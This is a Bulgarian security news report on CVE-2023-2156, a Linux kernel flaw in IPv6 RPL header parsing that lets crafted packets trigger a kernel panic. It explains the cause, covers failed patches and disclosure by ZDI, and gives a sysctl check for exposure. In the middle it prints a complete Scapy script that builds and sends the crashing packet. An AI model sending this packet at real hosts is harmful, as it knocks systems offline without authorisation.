Разкрити са данни за неустановен (0-day) уязвимост (CVE-2023-2156) в ядрото на Linux, която позволява да се спре работата на системата чрез изпращане на специално оформени IPv6 пакети (packet-of-death). Проблемът се проявява само когато е активирана поддръжката на протокола RPL (Routing Protocol for Low-Power and Lossy Networks), който по подразбиране е деактивиран в дистрибуциите и се използва главно в вградени устройства, работещи в безжични мрежи с висок процент загуба на пакети.
Уязвимостта е предизвикана от неправилна обработка на външни данни в кода за парсинг на протокола RPL, което води до задействане на assert-сбой и преминаване на ядрото в състояние panic. Когато в структурата k_buff (Socket Buffer) се поставят данни, получени от парсинга на заглавката на IPv6 RPL пакет, ако полето CmprI е зададено на 15, полето Segleft на 1, а CmprE на 0, 48-байтният вектор с адреси се разопакова до 528 байта и настъпва ситуация, при която паметта, отредена за буфера, не е достатъчна. В този случай, в функцията skb_push, която се използва за поставяне на данни в структурата, се задейства проверка за несъответствие на размера на данните и буфера, което генерира състояние panic, за да се предотврати записването извън границите на буфера.
Пример за експлоит: # Ще използваме Scapy за създаване на пакета from scapy.all import * import socket # Използвайте IPv6 от вашия LAN интерфейс DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Използваме сокети, за да изпратим пакета sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Създайте пакета # Тип = 3 прави това RPL пакет # Адресите съдържат 3 адреса, но тъй като CmprI е 15, # всеки октет от първите два адреса се третира като компресиран адрес # Segleft = 1 за задействане на амплификацията # lastentry = 0xf0 задава CmprI на 15 и CmprE на 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Изпратете този злонамерен пакет sockfd.sendto(bytes(p), (DST_ADDR, 0))
Забележителното е, че разработчиците на ядрото са били уведомени за уязвимостта още през януари 2022 година и за изминалите 15 месеца три пъти се опитаха да решат проблема, като издадоха пачове през септември 2022, октомври 2022 и април 2023 година, но всеки път корекциите се оказваха недостатъчни и уязвимостта можеше да се възпроизведе. В крайна сметка проект ZDI, който координираше работата по отстраняването на уязвимостта, реши да разкрие детайлна информация за уязвимостта, без да чака появата на работещо решение в ядрото.
Следователно, уязвимостта все още остава непоправена. Включително, патчът, който е включен в ядрото 6.4-rc2, не е ефективен. На потребителите се препоръчва да проверят дали протоколът RPL не се използва в техните системи, което може да се направи с командата sysctl -a | grep -i rpl_seg_enabled
Източник: opennet.ru
